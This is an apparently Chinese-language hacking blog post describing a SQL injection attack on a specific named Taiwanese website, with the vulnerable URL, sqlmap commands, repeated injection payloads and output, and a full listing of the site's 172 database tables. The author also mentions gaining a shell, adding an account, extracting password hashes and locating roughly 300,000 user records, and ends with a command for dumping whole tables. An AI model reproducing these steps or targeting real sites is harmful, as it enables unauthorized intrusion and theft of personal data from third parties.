开始正文吧~
下午上班时候无聊就扫了会注入，于是我看中一个sql注入点，就去跑了跑，(因为此战大部分都是妹子)
注入点：http://www.ctcf.org20.tw/?p=ar007959-ct1910
开启sqlmap就是跑~
语句不知道的，百度吧~有教程也有实例，照葫芦画瓢~
sqlmap.py -u "http://www.ctcf.org20.tw/?p=ar007959-ct1910" --dbs #爆数据库
sqlmap identified the following injection point(s) with a total of 282 HTTP(s) requests:
---
Parameter: p (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
available databases [5]: ArDataManage master model msdb tempdb如果不知道那个裤子的话，用--current-db 可以查询到当前使用的数据库，然后爆表sqlmap.py -u "http://www.ctcf.org20.tw/?p=ar007959-ct1910" -D ArDataManage --tables #列表Parameter: p (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: p (GET)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: p=ar007959-ct1910' AND 3855=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3855=3855) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(113)+CHAR(107)+CHAR(113))) AND 'bLWG'='bLWG
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: p=ar007959-ct1910';WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: p=ar007959-ct1910' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2005
Database: ArDataManage
[172 tables]
+--------------------------+
| ARDATAMANAGE.DBO.USER123 |
| 11087LuckyNo |
| ADPage |
| Account |
| Act |
| ActInfo |
| ActPos |
| Ad |
| AdItem |
| AdItem0123 |
| Album |
| Appointment |
| ArGlobal |
| ArText |
| Article |
| Budd |
| BuddInfo |
| CGItem |
| CGPage |
| Cart |
| CatCust |
| CatLink |
| CatNetAd |
| CatObj |
| CatObjLink |
| CatObjSkin |
| CatPage |
| CatSkin |
| Catalog |
| Category |
| CodeArea |
| CodeClass |
| CodeDomain |
| CodeDomainBak |
| CodePrice |
| Comment |
| Course |
| CourseInfo |
| DataCache |
| DealBonus |
| DealBonusPay |
| Deco |
| DnsData |
| Edm |
| EdmLog |
| EdmMbr |
| EdmMbrExcel |
| EdmMbrGroup |
| EdmMbrImport |
| EdmProject |
| EdmReject |
| ExtLink |
| ExtPage |
| ExtSite |
| Gallery |
| Issue |
| Kupon |
| KuponInfo |
| KuponPos |
| Message |
| Meta |
| Music |
| NetAdAr |
| NetAdHr |
| NetAdItem |
| NetAdMe |
| NetAdVt |
| NetMbr |
| News |
| ObjBase |
| ObjCust |
| ObjPage |
| ObjPage0409 |
| ObjPage0409a |
| ObjPage0617 |
| ObjPage0916Bak |
| ObjReq |
| ObjSkin |
| PageError |
| PageHelp |
| PageUser |
| PageViews |
| Photo |
| Prod |
| ProdInfo |
| Purchase |
| PurchaseDT |
| Query |
| ReqMatch |
| ReqProd |
| ReqSvc |
| Res |
| Res0127 |
| Res0128 |
| Res1212 |
| ResBonus000 |
| ResOrder |
| ResOrder0128 |
| ResOrders0127 |
| ResSite000 |
| ResTrans000 |
| Room |
| RoomInfo |
| Sales |
| Sales0127 |
| Sales0128 |
| SalesBonus |
| SalesBonus0127 |
| SalesBonus0128 |
| SalesBonusPay |
| SalesBonusPay0127 |
| SalesBonusPay0128 |
| SalesLic |
| Site |
| Site0127 |
| Site0128 |
| SiteColumn000 |
| SiteInfo |
| SiteInfoAW000 |
| SiteLic |
| SiteMbr |
| SiteMbrGroup |
| SiteNoGallery |
| SiteNoMobile |
| SiteObjID |
| SitePart |
| SiteShop |
| SiteSkin |
| SiteUrl |
| Skin |
| SkinAD |
| SkinCatalog |
| SkinCategory |
| SkinContent |
| SkinDataPager |
| SkinForm |
| SkinGallery |
| SkinGrid |
| SkinMenu |
| SkinMobile |
| SkinPak |
| SkinPanel |
| SkinRotator |
| SkinScheduler |
| SkinSearchBox |
| SkinTab |
| SkinTile |
| SkinTree |
| SpcTag |
| Style |
| StyleClass |
| StyleClass1 |
| StyleTag |
| Svc |
| SvcInfo |
| TotalViews |
| TotalVotes |
| User |
| User20151231 |
| UserProfile |
| UserVolunteer |
| UserVolunteerSvc |
| Vote |
| VoteCount0212 |
| VoteMbr |
| WorldCity |
| XXDnaKey |
| YProd |
| YellowPage |
| ZEMail |
| dtproperties |
| sysdiagrams |
+--------------------------
没有什么技术含量哦~紧接着找列名~根据经验来判断，一般都是user admin ad sysadmin等等之类相似的~但是如此良好时间我怎能不去看看数据呢~啊哈哈草！！你特么sqlmap死了~~~醉了 好吧 我们换工具。有点意外的是~竟然非sa账号权限还那么大~其实这样的话完全可以直接提权的，用sqlmap的交互式写shell功能 --os-shell 可以直接提权的 但是也得看情况哎，既然是内网那就算了~还要转发太麻烦了~原谅我技术有限。。。
不过我还是去测试下是否能添加账户~果然还是可以的，因为内网开了3389还是无法连接，但是都不重要了~看数据去~
我们继续往下探索找裤子~到这估计有人很好奇root密码哪来的~我不会告诉你用--password来搞出来的
好吧~~找到裤子所在了，没有打吗，希望各位自重下~可以清楚看到将近30W数据，这个工具我没试过脱裤子 ，也不想脱，大家有点职业操守！！！
这是第二个表~数量都差不多，我想应该是重复吧？或者不重复呢？那这样还有一个表就是90W了~~~好多鱼。。。算了都跟我没鸡毛关系~
到此完毕，写的不怎么好，过程也简单~见谅下，没有打吗，大家有点职业操守~此洞已扔补天：http://loudong.360.cn/vul/detail/qid/QTVA-2016-378488
其实大家也可以用sqlmap脱裤命令：sqlmap.py -u "url" -D 数据库 -T 表名 -C 列名 --dump -o
说一下为什么加-0 像有的站有防火墙你刚脱没一会就死了，所以还是加上的比较好，-o是开启全部项优化的~也可以用--dump-all全部脱了，但是真心慢~能找root密码就找到吧 那个脱的快！
==================================
未发现亮点所在，不予通过。
|